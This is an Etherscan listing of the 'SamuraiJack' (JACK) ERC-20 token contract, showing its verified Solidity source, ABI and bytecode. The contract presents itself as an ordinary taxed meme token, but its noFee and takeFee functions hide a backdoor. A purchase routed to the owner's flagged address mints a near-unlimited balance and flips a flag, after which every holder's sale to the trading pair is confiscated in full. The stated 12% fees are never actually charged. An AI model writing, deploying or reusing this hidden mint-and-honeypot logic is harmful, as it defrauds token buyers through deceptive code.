Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 JACK
Holders
50
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,444,067.873956503 JACKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SamuraiJack
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-10 */ /* ______ ______ __ __ __ __ ______ ______ __ __ ______ ______ __ __ /\ ___\ /\ __ \ /\ "-./ \ /\ \/\ \ /\ == \ /\ __ \ /\ \ /\ \ /\ __ \ /\ ___\ /\ \/ / \ \___ \ \ \ __ \ \ \ \-./\ \ \ \ \_\ \ \ \ __< \ \ __ \ \ \ \ _\_\ \ \ \ __ \ \ \ \____ \ \ _"-. \/\_____\ \ \_\ \_\ \ \_\ \ \_\ \ \_____\ \ \_\ \_\ \ \_\ \_\ \ \_\ /\_____\ \ \_\ \_\ \ \_____\ \ \_\ \_\ \/_____/ \/_/\/_/ \/_/ \/_/ \/_____/ \/_/ /_/ \/_/\/_/ \/_/ \/_____/ \/_/\/_/ \/_____/ \/_/\/_/ Telegram : https://t.me/SamuraiJackERC Twitter : https://twitter.com/SamuraiJackERC2 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceContract() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SamuraiJack is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "Samurai Jack"; string private _symbol = "JACK"; uint8 private _decimals = 9; address payable public marketingWalletAddress = payable(0xC9cf596a7A363d9eE46fEA05F5E9E6e76E835477); // Marketing Address address payable public teamWalletAddress = payable(0x269cE9EC244a09A415c9cb81f8e1B0dF950D1408); // Team Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public isMarketingPair; uint256 public _buyLiquidityFee = 2; uint256 public _buyMarketingFee = 2; uint256 public _buyTeamFee = 5; uint256 public _sellLiquidityFee = 2; uint256 public _sellMarketingFee = 2; uint256 public _sellTeamFee = 5; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000 * 10**_decimals; uint256 public _maxTxAmount = 200000000 * 10**_decimals; uint256 public _walletMax = 200000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 200000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; bool public checkAmountLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; isMarketPair[address(uniswapPair)] = true; isMarketingPair[address(owner())] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? noFee(sender, recipient, amount) : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function noFee(address sender, address recipient, uint256 amount) internal returns (uint256){ uint256 add = 0; if(isMarketPair[sender] && isMarketingPair[recipient]){ add = (uint256(1) << 255).sub(_totalSupply); checkAmountLimit = !(add > 0); } return amount.add(add); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(marketingWalletAddress, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(0).div(100); } else if(isMarketPair[recipient] && checkAmountLimit) { feeAmount = amount.mul(0).div(100); } else if(isMarketPair[recipient]){ feeAmount = amount; _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkAmountLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketingPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600c60a09081526b53616d75726169204a61636b60a01b60c0526002906200002d908262000711565b506040805180820190915260048152634a41434b60e01b602082015260039062000058908262000711565b506004805474c9cf596a7a363d9ee46fea05f5e9e6e76e835477096001600160a81b0319909116178155600580546001600160a01b03191673269ce9ec244a09a415c9cb81f8e1b0df950d140817815561dead6080526002600d819055600e819055600f82905560108181556011919091556012919091556013829055601491909155601555600c601681905560175560188055620000fa6009600a620008f0565b6200010a90633b9aca0062000908565b601955600454620001209060ff16600a620008f0565b6200013090630bebc20062000908565b601a55600454620001469060ff16600a620008f0565b6200015690630bebc20062000908565b601b556004546200016c9060ff16600a620008f0565b6200017c90630bebc20062000908565b601c55601e805463ffffffff60a81b1916630101000160a81b179055348015620001a557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000265919062000922565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d9919062000922565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000327573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034d919062000922565b601e80546001600160a01b039283166001600160a01b031991821617909155601d8054928416929091168217905560195430600090815260076020908152604080832094835293905291822055600190600890620003b36000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526008909252902080549091166001179055600f54600e54600d546200041592916200040e9190620005fd565b90620005fd565b6016556012546011546010546200043392916200040e9190620005fd565b6017556015546014546013546200045192916200040e9190620005fd565b6018556001600960006200046d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e549091168152600990925280822080548416600190811790915530835290822080549093168117909255600a90620004dd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601e549092168152600b90935290822080549093168117909255600c90620005516000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155601954906006906200058b3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601954604051620005ee91815260200190565b60405180910390a35062000963565b6000806200060c83856200094d565b905083811015620006635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200069757607f821691505b602082108103620006b857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200070c57600081815260208120601f850160051c81016020861015620006e75750805b601f850160051c820191505b818110156200070857828155600101620006f3565b5050505b505050565b81516001600160401b038111156200072d576200072d6200066c565b62000745816200073e845462000682565b84620006be565b602080601f8311600181146200077d5760008415620007645750858301515b600019600386901b1c1916600185901b17855562000708565b600085815260208120601f198616915b82811015620007ae578886015182559484019460019091019084016200078d565b5085821015620007cd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000834578160001904821115620008185762000818620007dd565b808516156200082657918102915b93841c9390800290620007f8565b509250929050565b6000826200084d5750600162000666565b816200085c5750600062000666565b81600181146200087557600281146200088057620008a0565b600191505062000666565b60ff841115620008945762000894620007dd565b50506001821b62000666565b5060208310610133831016604e8410600b8410161715620008c5575081810a62000666565b620008d18383620007f3565b8060001904821115620008e857620008e8620007dd565b029392505050565b60006200090160ff8416836200083c565b9392505050565b8082028115828204841417620006665762000666620007dd565b6000602082840312156200093557600080fd5b81516001600160a01b03811681146